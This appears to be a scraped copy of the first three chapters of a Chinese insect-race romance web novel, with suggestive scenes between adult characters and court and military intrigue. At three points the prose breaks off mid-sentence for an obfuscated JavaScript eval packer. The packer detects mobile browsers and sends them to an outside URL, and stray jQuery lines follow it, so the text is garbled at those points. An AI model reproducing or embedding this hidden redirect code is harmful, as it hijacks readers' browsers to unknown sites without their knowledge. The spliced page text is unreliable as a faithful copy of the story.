《全虫族都在演我》
1. 第 1 章
星历3446年。
阴。
帝国霍格斯军校。
“不要跟过来。”雪因淡声吩咐。
圣殿派来的侍卫虫一向听话,只执行命令,他们只忠于主虫,是每位高等级雄虫诞生后配出的私卫,绝对忠诚,亦是顶级雄虫重要势力之一。
两名侍卫闻声垂首,默然后撤,转瞬便隐入看不见的角落之中。
雪因推开休息室门,一道身影撞入眼中。
对方正背对着他,红发耀眼得几乎灼目,随意披散在肩头,恣意靠坐在宽大的窗边沙发上,手边矮几上搁着一块仅供雄虫享用的特制蛋糕,甜腻香气在室内飘动。
听见门响,坐在沙发上的人影并未回头,保持着慵懒的姿势,居高临下将整座学院的景致尽收眼底。
他指间松松地勾着一只细长的高脚杯,鲜红的酒液在其中晃荡,荡开一波波涟漪。
缓缓侧过头,往雪因方向看去,这个角度能将他精致的脸显得越发诱人。
“哟,这不是我们高贵的维斯特冕殿下么~”诺伊斯缠绵又轻佻地开口。
他有着一张艳丽到具有攻击性的脸,高挺的鼻梁投下淡淡的阴影,细长的眼尾半眯着,氤氲出两分迷离醉意。
举起酒杯,恣意地将那鲜红的酒液倾泻而下,探出舌尖,慢条斯理地接住坠落的酒滴,再缓缓舔舐过自己殷红的唇角。
诺伊斯身穿明显小了一号绣着维斯特冕王爵专属的精致暗纹纯白浴袍,随着他的动作滑落,露出大片小麦色的胸膛。
胸肌和深邃的马甲线在布料间若隐若现,他斜睨着雪因,眼尾上挑,混合着醉意和赤/裸裸的挑逗。
雪因低笑一声,缓步走近,手臂自然地环了上去。
温热的手掌探入松散的浴袍探入,享受着掌心传来雌虫紧实滚烫的肌肤,微微僵硬的身体,以及随着指尖慢慢上攀爬留下颤抖的鸡皮疙瘩。
“是我的衣服么?”雪因的声音贴着他的耳廓,气息拂过,“诺伊斯,故意穿成这样…想做什么?”
掌心下的身体微微一僵,随即像是被点燃般战栗起来。
诺伊斯没有说话,只是冷哼一声。
但身体比他诚实多了。像是受够雪因的墨迹,他反手用力按住雪因的手背,将它更紧地压在自己胸肌上,微微喘息享受着来自顶级雄虫的服务。
“真生气啦?”雪因的下颌抵在他发顶,雪白的长发垂落,轻挠着诺伊斯的皮肤,带来细密的痒。他亲昵地蹭了蹭,“今天新生入学,我总得以协会代表的身份去露个面,给他们…”
“画个饼?告诉他们只要拼命为帝国效力,当上高级军官,就有资格品尝高贵的雄虫大人的滋味了,是吗?”诺伊斯转过头看向雪因,舌尖不悦地抵住腮帮,沉默片刻后发出一声冷哼。
“例行公事而已。等得不耐烦了?”
“没有别人,你知道的。从来都只有你。”
“呵。”
“看了一遍台下,有特别合胃口的雌虫么?噢,忘了,您当然‘没有’。”诺伊斯侧过头时,浴袍又往下滑了些,露出线条分明的肩颈,“毕竟那些不要脸的雌虫,个个都想扒了制服往您床上爬!”
话音未落,他猛地攥住雪因的手腕。雄虫的体型天生不及雌虫,那只手白皙、修长,一看就是常年养尊处优的润泽。软中带硬,就像雪因一样,看着再温和与生俱来的高贵也无法忽视。
诺伊斯又气又得意的。
于是狠狠揉捏两下,在那片温润的皮肤上硬生生烙下几道红痕。
对方吃痛抽了抽手,没抽动,便放任了他。
“我的诺伊斯脾气越来越大了。”雪因不由得埋怨一句,尾音上翘。
诺伊斯:“……”
最近这段时间确实越发烦躁,对雪因说的话堪称冒犯。要被外边任何一只雌虫知晓,恐怕早该被打断腿送去禁闭室,好好教他学会如何同一位尊贵的雄虫阁下说话。
但他不想改。
只是偏过头,压抑着情绪低声开口,眼中透出几分难以掩饰的委屈:“…抱歉,维斯特冕殿下。”
果然,雪因连忙开口解释:
“不、我不是这个意思。”
雪因从椅背绕到他面前,湛蓝的眼睛清澈地倒映着诺伊斯嚣张的身影:“我是说,很可爱。”
诺伊斯嘴唇微动,声音带着压抑不住的烦躁:“你刚才看他们了。我讨厌你看别人。我有些…控制不住,没有雌虫能容忍自己的雄虫被那样注视。”
雪因怔了怔。
这样么?
但怎么会?从没有谁这样告诉过他,或者说,从没有虫敢和他说这种话。
他没有再回答,也不知道怎么回答,只是看着诺伊斯。
诺伊斯仰靠在沙发上皱眉,对他沉默的表现显然不满,却终究没有再逼问,只是垂下眼帘,任由浓密的睫毛掩去眸中神色。
属于雪因的睡袍对他而言并不合身,露出饱满结实的胸肌轮廓,以及之前被雪因指尖掐出的淡淡红痕,在麦色肌肤上若隐若现。
雪因手不自觉探了过去压上,轻轻吻上他的唇角,刻意安抚转移着话题。“怎么总喜欢穿我的衣服?下次我带几件新的给你——”
“我是你的虫!”诺伊斯猛地爆发出来。
天旋地转间,他将雪因狠狠压进沙发里,居高临下地禁锢着他,“我凭什么不能穿?!我、我…”
他低头,鼻尖几乎贴上雪因,声音危险,“我要让所有人都知道,你是…我是您的。从里到外,从衣服到身体…”
浴袍因为这个动作滑落得更多。他有些无措地想拉好衣襟,却又在看见雪因目光时停住了动作。生涩大胆的念头闪过,索性松开手,任由衣襟敞开着。
说罢,诺伊斯的吻堪称凶狠地落下来,手紧紧囚禁着雪因有力的腰身,看起来纤细,只有他知道实际爆发力有多强。他不免狠狠咽了下口水,随即带着不满啃咬上高贵的雄虫:“台下那些新生……有特别合你胃口的吗?”话一出口他就后悔了,太直白、太不成熟了。
“算了,当我没问。”
“……,亲我,雪因。”
他轻而易举压制着身下的雄虫,近乎着迷的欣赏着雪因此刻的模样。
雪因的呼吸变得急促,衣衫凌乱,眼尾被迫泛出生理性的红晕,即使被这么粗暴的欺负眼中任然露出浓浓的迷恋与纵容。
诺伊斯不由得有些得意,这可是顶级雄虫。
外界称王称霸、只要雪因点头,那些无比强大的军雌都会跪在他面前、争抢着服侍他的顶级雄虫。
但那是别的雌虫,他是诺伊斯,独一无二的诺伊斯。
从很小开始他就知道自己想要的是什么,仅凭一个B级就能把帝国最顶级的雄虫压制在身下。
诺伊斯很是主动,居高临下看着这位顶级雄虫。本该嚣张的他在却在感到抵着他时,不免呼吸有些错乱,硬生生多了股撒娇的意味。
“我会对你负责的。”雪因微微喘气,失神之余不忘安抚。
负责?诺伊斯想起三个月前的意外,眼中极快地闪过一丝心虚,但立刻变得理直气壮,“你当然要对我负责,不然我就…我就…”
“哼。”他想了半天也没想出能威胁一位S级雄虫的狠话,虚张声势地重重哼了一声。
幸运的是,雪因就喜欢他这一套。
雪因注视着他,伸手想摸摸他的脸,却被诺伊斯一把扣住手腕按在头顶。于是雪因顺从着他的力道,目光温柔地重复:“嗯,我会对你负责。”
诺伊斯看着雪因的眼睛。
湛蓝色。像天空,又像大海,像个漂亮的玻璃珠,无价的宝石。
他有时候会控制不住憎恨这双眼睛,太过干净,清晰地倒映出他的卑劣、他的不堪。
做点什么吧。不要看我。
不要用这双眼睛看着我。
一起沉沦才好。
诺伊斯慌乱地再次吻上去,用灼热的体温包裹住身下的雄虫,腿根磨蹭着对方,灼热的呼吸喷在对方雪白脖颈上。
雄虫皮肤总是脆弱,刚刚吻过的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513800|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位置已经泛起微微红痕。
得到承诺的诺伊斯紧绷的身体放松下来,贴上去索求:“那证明给我看…雪因…我们几天没有…”
黏腻的水声和喘息在唇齿间交缠。
雪因回应了这个吻,指尖温柔地抚摸着诺伊斯的耳垂。似是回忆他刚提的要求,在诺伊斯试图更进一步时,他反常地偏开头,避开了那个愈发深入的吻,声音带着克制的喘息和一丝歉意:“今天真的不行…”
“怎么就不行了?!”诺伊斯身体一僵,未得到满足的不满、怀疑、恐慌瞬间炸开,顾不上什么雌虫守则,顾不上对雄虫应有的恭敬,口不择言怒吼:“你碰了别的虫?!不想让他知道??是谁?!哪个贱虫勾引你了?!”
诺伊斯上位得不光彩,他很清楚这一点。且这条路径太容易被复制。
他一直怕被更新鲜的虫取代。毕竟雪因…
而雪因只是捧住他的脸,强迫他与自己对视,“别害怕。从来都只有你。”
诺伊斯死死盯着雪因眼睛,试图在那片湛蓝中寻找任何一丝说谎的痕迹。
没有。
只有他熟悉专注温柔、真挚无比的注视着他,像是整个世界只有他一人。他高悬的心稍稍落下,语气软了下来,还带着一丝甘心的气闷:“…最好是这样。”
诺伊斯不知道他这样有多迷人。
凶狠又脆弱,眼圈却微微有些发红,明明快要哭出来了,还固执的想要得到一个答案,强撑着不肯服软。
他腿有些颤抖,不自觉坐下又慌乱得起身,脸色绯红。
雪因沉默一瞬,扶着他的腰轻轻安抚。他声音也有些喘,太过年轻总是禁不住撩拨,但理智还是回笼不少,沉默一瞬,还是开口解释道:“待会要回家。”
这个世界对雄虫总是宽容,但对雌虫不是。
至少现在,不要让太多人盯上诺伊斯。
诺伊斯瞬间僵住。
所有的怒火、醋意和情动一下褪得干干净净。
回家去见墨尔庇斯军团长。
雪因未来正统雌君。
墨尔庇斯,莱昂图特家族掌权家主——第一军团军团长,3S级雌虫,手握实权的军方领袖。
常年征战星际,出了名的战争机器,冷酷无情实力强悍,其威名足以令无数种族闻名而逃,战争往往不战而胜。
他随口一句话就能改变政策走向,帝国甚至给予特权,将刚诞生便被确定为S级雄虫的雪因赐予他作为他未来的雄主。
这件事震撼整个虫族。
但军团长是全虫族的英雄。
没有虫不崇拜这位战名赫赫的虫族战神。出乎意料反对的声音不多,毕竟平民反对毫无价值,而有资格竞争能配上雪因雌君位置的那几只贵族雌虫…都打不过墨尔庇斯。
这是一个实力为尊的世界。
合理。
诺伊斯当初接触雪因时就调查过。
雪因出了名的洁身自好、性格温和;而墨尔庇斯军团长虽然严厉强势,却是家庭理念极重的守旧派。
之前还听说他在给雪选雌侍,…应该能容得下他吧?
军团长知道他的存在么?要不在雪因的身上留下点印记暗示一下?但…军团长会不会误认为他在挑衅。
诺伊斯心沉到谷底,用力抱紧雪因。悄悄掐了一下掌心,双眼微微泛红,带着一丝委屈破碎,“雪因,你答应过我的…会护着我,无论发生什么,对不对?”
雪因轻轻回抱住他,拍了拍他的背:“嗯。”
得到承诺的诺伊斯松了口气。
这些贵族永远不知道他一个平民想爬上去得耗费多少心血。他精神等级不高堪堪考上这所军校,在之前的星球一直以为是自己是天纵奇才,到这绝望地发现天才只是进入帝星的门槛而已。而自己也没有贵族身份,毕业后顶多在死之前拼上一个中尉。
除了雪因这边,还必须想办法讨好未来雌君。
下了决定,诺伊斯回过神小声询问,“雌君…他喜欢什么?”他有些难堪地问出这句话。
2. 第 2 章
他得往上爬。
雪因疑惑:“雌君?想什么呢?”
很快雪因反应过来,轻笑一声,只是眼眸深处掠过一丝阴郁。
他坐起身抱住诺伊斯,声音清晰:“没有雌君,只有你。”
诺伊斯,只会有你。
“……花言巧语”诺伊斯伸出手狠狠揉一下雪因柔软的腰肢,带着点泄愤的意味将他推开瞬间又猛地将人拽了回来。
心里莫名憋闷和恐慌,难受得要命想要宣泄,紧紧抓着雪因的衣袖,再次开口:“你今晚必须来陪我!必须!早点回来和我做。”
“别闹,诺伊斯。”雪因心底无声地叹了口气。他抬手,用指腹轻轻擦过诺伊斯微红的眼角,耐心解释,“晚上真的有事不能过来。”
今晚回去,就提退婚吧。雪因想。
说起来,上次见到墨尔庇斯还是八个月前。身为第一军团战名赫赫的军团长,他总是很忙…
“有事?”诺伊斯凑近,他身高很高大,堪称放肆的把雪因困在阴影里,勾起嘴角露出一抹嘲讽:“呵。高贵的S级雄虫大人也会有非办不可的事?您想要什么不都是一句话的事。还是说……您只是厌倦了,不想回来?”诺伊斯酸溜溜地说。
在他们排不上名的E级小星球,那些高高在上的B级雄虫,将雌君视作可以随意处置的玩物。雄虫本就该是那样:荒淫、暴戾,将折辱雌虫当作消遣,每隔几年便更换一位健康的雌君。
但在帝星…有什么不一样么?在权力与规则的顶峰,情况会有所不同吗?他有一种把握不住的东西和恐惧顺着脊椎爬了上来,他隐约感觉到这里或许存在着某种他无法理解的秩序,这种感觉太可怕,他下意识掐断思绪不再细想。
没什么不一样的。
雪因可是顶级雄虫,理应比他家乡那些小星球上的雄虫拥有更绝对的权力,更肆无忌惮的资本才对。
就算是军团长也无所谓吧…?
他莫名有些惶恐,攥紧了微微发颤的指尖,等待着雪因的回答。
雪因看着诺伊斯,嘴角勾起笑容,温度却少了两分。连尊贵的S级雄虫都做不到的事吗?
自然是有的。
上一次被这样紧紧拥抱还是十年前。
墨尔庇斯总是很忙,常年在外自然没有太多时间亲自陪伴他,作为补偿,雪因身边从不缺少玩伴。
雄虫协会指派的、墨尔庇斯麾下的、家族精心挑选的…各式各样、多到厌烦。
有一只很疼爱他的抚育虫,会整天搂着他,温温柔柔的语调告诉他,他是世界上最好、最漂亮的小雄子,会温柔亲吻他的发丝。
后来那个虫消失了。像是不曾存在过,被抹得一干二净。
他跑去和墨尔庇斯哭闹,向雄虫协会圣殿抗议,甚至惊动了雌父与雄父。
没有用。
他们只是轻柔地抱着他,避开他的目光,对他的请求视而不见。
他不解、疑惑,最终化为愤怒。
军团长过来抱住他。
那是年幼的雪因第一次展现出攻击性,他当着所有人的面,狠狠一巴掌打在军团长脸上,随后张口狠狠咬在手臂上。
雄虫标记齿总是很锋利,又或是军团长根本未曾设防。温热的血液瞬间涌出,浸湿了他的唇齿,带着诡异的腥甜。
现场寂静。
是军团长眼中深不见底的晦暗。
是雄虫协会近乎欣慰的神色。
是雌父雄父别开脸,视而不见的眼神。
纵容。
鼓励。
……
他松开了口,踉跄着后退了一步。
寒意顺着脊椎爬升。
好像不该是这样的。
这不对。
但又应该是这样的。
他隐约意识到,有些看不见的规则驾驭于高贵的雄虫身份之上的,冰冷而坚硬,即使哭闹、愤怒、乃至攻击,也无法撼动分毫。他是操控者,也是被操控者,身在舞台之上聚光灯下闪闪发光高高在上,被无数看不见的丝线牵引着,演一场早已写定结局的戏。
“嗯?”诺伊斯久久得不到回应催促着。
他眼睛很漂亮,是那种紫罗兰一样的颜色,妖娆而美丽。
像钩子又像陷阱,让人不自觉被迷惑进去,明知是陷阱依然无法自拔。
雪因缓缓抚过诺伊斯的脸颊。
第一次发情期是在混乱中出现的。
他察觉身体异样发热,第一反应是动用强大的精神力掩盖所有痕迹,独自躲进偏僻的休息室。
雄虫是不会寂寞的。
身边安排来“协助”他的雌侍人选就有好几个,时刻注视着他。他知道第一次发情期一定会成为他们手里报告中的一页页记录。
噢,为了珍贵雄虫的健康。
为了确保生育能力。
幸运的是,他是极为罕见的顶级雄虫,精神力高到足以蒙蔽那群虫的感知。
他随意找了个休息室,蜷缩在地上强忍煎熬打算硬撑过去。
按传统,发情期本应由雌君陪伴度过。但军团长很忙,忙到一年也见不上几次,墨尔庇斯大概率也不是很在乎。
总之身为雄虫,雪因是不会寂寞的。
大家也都是这么认为。
他有数不清的虫环绕左右,接受着定期的体检。只要他想…无数雌虫甘愿俯首称臣。
雄虫是不会寂寞的。
雄虫,怎么会寂寞?
他当时看着诺伊斯。
不过是一只平平无奇的雌虫,甚至是他所见过的等级最低的那一类。
怎么可能发现不了?在踏入房间的瞬间便已感知到对方的存在。
但那又怎样?没有雌虫敢对雄虫下手。
又好像不一样。
说些什么吧…
他看向不断起伏的诺伊斯,汗水正从对方的额角滑落。紫罗兰色的眼睛专注得像是他的世界仿佛只剩下雪因一虫。
“我爱您。”
骗虫。骗虫的。
眼眸里没有爱意。
没有那些雌虫常见的、被规训出的痴迷和敬畏。
不过那有比爱意更亮的东西。
野心。不顾一切的欲望。鱼死网破的。孤注一掷的。
“没有您,我活不下去。”
可笑,庸俗。配么?
“雪因。”
雪因。
他的名字。
我是雪因啊。他迷茫地想。
不是什么高贵的S级雄虫、维斯特冕殿下,只是雪因。
“你要对我负责。”诺伊斯哑着嗓子强调。
不是请求,是宣告。
诺伊斯盯着他,死死盯着他。像一条盘踞在暗处的花斑毒蛇。
好凶啊。好放肆。
又…迷人得让他移不开眼。
“雪因。”诺伊斯哑着嗓子,一遍遍固执地呼唤他的名字。
怎么敢叫他的名字。真是大胆。
驱逐他,惩罚他。
一个普通雌虫而已,不值得理会。况且…拙劣的引诱手段。
只需要开口告诉身边任意一只虫。
这个卑微、低贱又放肆的平民,这辈子都别想走出训诫室,永远在痛楚中忏悔。
“雪因,你要对我负责。”诺伊斯哑着嗓子强调。
只是一只平平无奇的平民雌虫而已,没什么特别。
当做一切都没发生,羞辱他。
拒绝他。
“好。”他听到自己迷茫又清晰的回答。
“真的?今晚要是没有过来找我你就死定了!听到没有。”诺伊斯故作凶狠把他压在沙发上。
“嗯。”雪因笑得眼睛弯弯地,伸手抱住他,雪白的长发缠绕在他身上,纠缠,难以分离。
在诺伊斯身边的时候,他不用做聚光灯下尊贵的雄虫殿下,只是雪因。
他埋在诺伊斯胸前用脑袋蹭蹭,悄悄用了一丝雄虫信息素引诱着,果然这个笨蛋雌虫浑身一僵,像是迷茫又有些无措,香甜诱人的雌虫信息素味道没出息的溢出。
“怎么了?”雪因眨眨眼,忍着笑意看着诺伊斯。
他果然眼尾那抹绯红更明显了。
紫罗兰色的眼睛带着一丝水光,傻乎乎怔了几秒。
日常教育当然不会教导雌虫,雄虫信息素的妙用,只会简单讲述雄虫能够安抚雌虫精神海而已。
雌虫离不开雄虫信息素,但幸运的是,目前社会已经稳定。大量由圣殿出产的拟态雄虫信息素足以覆盖底层雌虫的所有需求,至少不会再出现大批量雌虫因精神海
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513801|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暴动而死亡的风险。
百分之九十九的雌虫一生都接触不到真正的雄虫,自然不会知道雄虫信息素的甜蜜刺激。
可刻在基因本能的追觅却是压抑不住的,拟态信息素能安抚精神海暴动,却无法抑制住来自基因本能的渴望。
何况雪因是S级。
诺伊斯被这种高等级系信息素弄到瞳孔失焦,那种被侵/犯灵魂深处的触碰,无法躲避,逃无可逃,纯粹的快感溢出。但他根本不知道发生了什么,只是羞于反应,便会恼羞成怒。
这时候雪因就会无辜的看着他。
真不是他不想说,但这是雄虫的秘密武器。
能引诱控制雌虫。就算面对的雌虫精神海污染为百分百,彻底黑化成为虫形,失去理智成为野兽,无差别攻击直至方圆百里化为灰烬。
也能确保雌虫不会攻击雄虫的利器。
诺伊斯喘了几口气,缓了过来,紫色眼中水意渐浓,睫毛都被打湿黏在一起,很难想象这短短几秒受到的快感冲击。他刚想开口,雪因吻了上去。
很轻,像一片雪,带着些许海洋的气息。
碧蓝的眼睛看着他,温柔像浪花一样在他眼中泛起涟漪。
“嘘。”雪因制止了他。
诺伊斯罕见的没有开口表演凶悍依恋,他怔怔看着雪因,眼中带着一丝他自己都不曾发现的痴迷。
几秒后又略显狼狈躲开雪因的视线。
但雪因这次容不下他的逃避,轻轻捧起诺伊斯的脸,对视。
“相信我。只会有你。”
他语气太认真。
认真到诺伊斯恍惚间真的相信了雄虫的话。
相信这个荒谬的世界孕育出的雄虫,说出的誓言。
——
“维斯特冕殿下,日安。”
前来迎接他的是墨尔庇斯的副官斯卡尔。
雪因习以为常。就算得知墨尔庇斯返回帝星的消息,那位军团长也常常会被突如其来的紧急会议中途拦下。
小时候他还会坐在餐桌前晃着腿,手里的银叉一下一下百无聊赖地戳着盘中鲜美的星兽肉,从傍晚一直等到深夜。
直至次日醒来躺在温暖舒适的床上,也依然看不到对方的身影。
只是床边摆放着昂贵的礼物。
后来渐渐习惯,也不再等待。
但今日不同。
“墨尔庇斯今日也不回来么?”
“回的,我的小主虫。”斯卡尔望着雪因的眼中总是带着温柔的笑意,和所有雌虫看他的眼神一样,温柔下藏匿令人厌恶的渴望。
平日里墨尔庇斯军务繁忙时,总是这位好说话的副官替他传话:“莱昂图特军团长方才已抵达帝星,面见陛下后便会即刻返回府邸。”
“嗯,辛苦了。”雪因依惯例应道,目光投向窗外飞速流转的风景。
他微微昂头依靠座椅,象征着高贵雄虫制服衬衫因为他的动作领口松散了些,露出纤长白皙的脖颈,随着呼吸频率起伏。
这里不是外面的世界,不需要伪装扮演顶级雄虫,也不是在诺伊斯面前…无趣得要命。
将手随意搭在扶手上,曲起漂亮指尖轻轻敲打,节奏散漫,有一搭没一搭,表达出主人些许不耐。
离开不到一小时,有点想诺伊斯了。
蔚蓝双眸看着不断后退的景色,有些无神。
快一些回去吧。
斯卡尔驾驶悬浮车的技术一向平稳得令人安心。
“属下的荣幸。此次我们清剿了Sr-142星系的利尔星球,原计划一月前归来,奈何当地星兽受污染严重,竟突然出现两只五环级星兽。军团长为了保护一名新来的莽撞虫…”他说起这句话带着些不悦。
这些新兵总是这般冒失,但墨尔庇斯对他们却格外宽容。总说没有历练便无法成长,明面上对他们凶残,经常打开战局就放这些新生力量去冲锋陷阵,实际暗地还要分心展开精神力,确保这些新虫留下一条小命。
“因此耽搁了一个月。”
“这次为您带的礼物是利尔星球盛放的阿溧虞花。没想到在主星这边繁育困难百年一遇的花,在那边居然漫山遍野都是,您一定会喜……”
“斯卡尔。”雪因轻声打断了他,“快些回去吧。”
“是。”
3. 第 3 章
悬浮车停稳,雪因刚踏出车门,斯卡尔已提前一步来到他面前。
他单膝跪地,以臣服的姿态向雪因露出看似脆弱的脖颈和更多。
雪因隐约记得,上车前这位副官先生身上的军部制服扣子明明扣在最上,此刻却松开了两颗纽扣。
刻意设计维持着跪姿,微微前倾的身体,让制服下锻炼得极为出色的身材一览无余。
雪因的视线能轻易从脖颈一路向下,甚至能瞥见其中若隐若现的绯红。
察觉到雪因的视线,斯卡尔身体不易察觉地僵了一瞬,耳尖缓缓出现一抹红。他随即抬头望向雪因,一只手自然而然地抬起,意图牵过雪因的手落下一个吻手礼。
顶级雄虫对雌虫有着与生俱来吸引性,更别提斯卡尔本就是墨尔庇斯为雪因精心准备的雌侍。
虽未明说,但日常照顾雪因的职责大多数都落在他身上。
雪因成长得很快,早已不是记忆中那个雪白软糯的小豆丁。
那时候这个雪团子给军团长准备礼物时,遇到爬不上的高凳,还会拽着他衣角求助。偶尔还会分给他些边角料。
可惜等雪因大一些后便不再做多余的事,他也失去了S级雄虫亲手制作的…边角料。
渐渐那个在高凳上还需要晃着腿的作画的小雪团,已经长成。
一位已然成年的、无比精致俊美的、身处巅峰状态的S级雄虫,极具诱惑的存在,足以让周围所有雌虫蠢蠢欲动。
雪因漂亮的碧蓝色眼睛专注看着前方,像能安抚一切的温柔,又像是拒人于千里之外的冷漠。
长期贵族生活蕴养出的气质,高贵得难以企及,制服一丝不苟,勾勒出下方笔直的小腿线条。
自带的优雅和成年雄虫不自觉散发那种接近蛊惑的味道。像钩子,一下一下撩拨着身边人。再配上不疾不徐、游刃有余的语调,简直钓得让斯卡尔迷糊了。
要不是知道雪因的亲卫队藏匿在四周的话。他都忍不住对这个看似落单的S级雄虫下手。
一个落单的顶级雄虫,多么美妙诱惑的存在。
雪因不作声色地错开了手。径直往大门方向走去。
斯卡尔迅速掩过一闪而过的失落,立刻起身跟上,“殿下…”
在雪因诞生前新帝继位,将皇室杀到仅剩新帝一虫,当时血流成河。
而新帝正值壮年,本该将雪因入赘皇室,但新帝直言没时间玩养成,却也不愿放过这个百年难得一遇的顶级雄虫,顺理成章被赐予新帝党派的墨尔庇斯。
作为补偿,在墨尔庇斯请求下,雪因便也获得了一个王爵爵位。
微风吹过,雪因银白长发顺着风轻扬,带着雄虫身上特有的馥郁香气,轻轻掠过斯卡尔的脸庞,甜蜜的气息快让他醉过去了,但其中却夹着那么一丝…
雌虫的味道,等级不高。
斯卡尔顿时清醒过来。
他当然知道雪因身边多了一只B级雌虫,但他和雪因身边大部分雌虫一样没有在意,毕竟雄虫多几个小玩具再正常不过。
和他这种注定会成为雪因雌侍的不同。
但终归对那个低贱的虫夺走雪团初次而不悦。但凡是雪因身边那几位身份相当的他都认了,偏偏是只外来虫。等级还…上不了台面。
“殿下。”斯卡尔适时汇报,“莱昂图特军团长被威尔军团长拦下了,预计要晚半小时。”
“第二军团?”雪因穿过别墅防卫系统的脚步一滞。
帝国四大军团中,第一军团无疑是最强悍的存在,所向披靡,而墨尔庇斯更是当之无愧的帝国战神。其后第四军团独立,第二、三军团关系一向密切,以威尔军团长为首,多次与墨尔庇斯会面时都闹得不甚愉快。
雪因出身权贵,雌父是联合议会大臣,雄父手握公爵爵位是顶级权贵的代表。自联姻决定之日起,便与第一军团的利益紧密捆绑。
“是的,威尔正在不遗余力抹黑军团长。元帅竞选在即,虽然胜券在握,但舆论方面…”
雪因垂下眼眸。
这样么…
“年底竞选?”雪因开口确认。
“是的。殿下。”
那么退婚的事只能暂缓了。
无论如何墨尔庇斯护佑他多年,两家牵扯深厚,这桩婚事牵一发而动全身。若在竞选的关键节点提出退婚,无异于背后插刀。
罢了,就等到年底吧…不过是六个月。
“知道了。”
听到雪因回答,斯卡尔嘴角不自觉地勾起一丝胜券在握。他们的雌侍之位还没定下来,但维斯特冕殿下和那个雌虫越走越近,甚至几乎要被带进门。
凭什么?
在维斯特冕殿下和军团长的婚礼顺利完成前,谁也别想抢先踏入这道门。
只需等待,等到维斯特冕殿下新鲜感过了失去兴趣便好。
“殿下,军团长虽不在帝星,但您每日行程报告,他都会亲自批阅…”
“他只是不擅表达,但对您的安危始终挂心。”
……
等雪因步入餐厅时,餐桌上已经摆满各式各样精致的甜点。雄虫向来喜爱甜食,雪因也不例外。
几乎是刚坐下餐桌,一位银发白眸的雌虫便缓步走近。他容貌极为出色,又或者说,高级虫族没有丑的。
他看到雪因眼中露出毫不掩饰的宠溺,将手中的抹茶蛋糕轻轻放下,“欢迎回来,我的殿下。今日为您准备了…”
斯卡尔则安静地留在别墅外。
以他目前的身份,没有资格进入这片区域,为了保障雄虫安全,除了具有亲密关系的虫之外,一般雌虫严禁进入雄虫的活动区。
即使是军团长偶尔在此面见属下,也仅限于停留在一楼会客厅。
而通往二楼入口,则由雪因的几只S级雌虫亲卫队牢牢把控着,重叠的精神力强势地将这片区域笼罩。
这里很安全,也绝对逃不出去。
那名雌虫顺势坐在雪因身侧,手中银叉取出一块新鲜水果制成的蛋糕。
能呈到雪因面前的食材都异常新鲜,就连这块蛋糕,从原料采摘到制作完成也不超过两小时,雄虫协会总会在这些细节格外苛求。
更何况身为顶级雄虫,他从不缺星币。
每月下发的补贴就是一笔天文数字,加上雌父挂念着他唯一的雄虫幼崽,对他内疚又心疼几乎每日都会遣虫送来各种珍品。
更别提他还有墨尔庇斯这位实力强悍的未婚雌虫,各
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513802|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个星球的罕见资源、珍贵宝物,总会第一时间送到他面前。
“我自己来。”雪因拒绝了洛迦南的投喂。
这位是雄虫协会自十年前事件后再度派遣来的抚育员。
雄虫协会培养的雌虫完全根据每位不同雄虫的喜好培养。和斯卡尔的刻意接近不同,洛迦南面对雪因时永远一副无害的模样,面面俱到事事周全,乖顺得像没有自我意识。
被雪因拒绝后洛迦南脸上没有多余情绪。立刻起身,唇角依然含着微笑,不停的根据雪因细微的动作递上飘着香味的甜点。
“殿下,需要来点主食么?”待雪因品尝完小蛋糕,洛迦南半跪在雪因身侧细心询问,一边用温度适宜的湿手帕轻轻擦拭雪因嘴角,眼神专注而温柔。
“不了。”雪因看向窗外。
天色已经完全黑下来。
直到雪因结束进食,门外还没有军团长的身影。
想来又是被议会的常规事务绊住了脚步,他似乎永远有处理不完的公务。
雪因没有失望,已经习惯了。
“恭迎主虫归来。”楼下传来侍虫整齐划一的声音。
雪因站在二楼护栏边,垂眸望向大厅。
那是一只身躯异常高大极具压迫感的雌虫,身着笔挺的墨绿色军官制服,胸前密密麻麻的徽章表明他刚自议会出来。
胸肌大到几乎将制服撑至极限,手臂甚至比雪因的大腿更为粗壮,作为帝国的顶尖战神,他每一处身体都展示着压倒性的力量。
凌厉强势的精神力充斥着整个空间,周围空气像是随着他的进入而小心翼翼,根据他呼吸频率而起伏。
即使衣着整洁也掩盖不住那种常年征战的血腥味。他长得很凶,极具压迫感,又或者说身为令无数种族闻风丧胆的虫族战神不可能温和。
脸更是凶戾逼人,眉头紧锁带着明显的不悦,薄唇紧抿,看起来就凶神恶煞的。
这对雄虫来说简直噩梦,小时候小小的雪因都被他吓哭好几次。
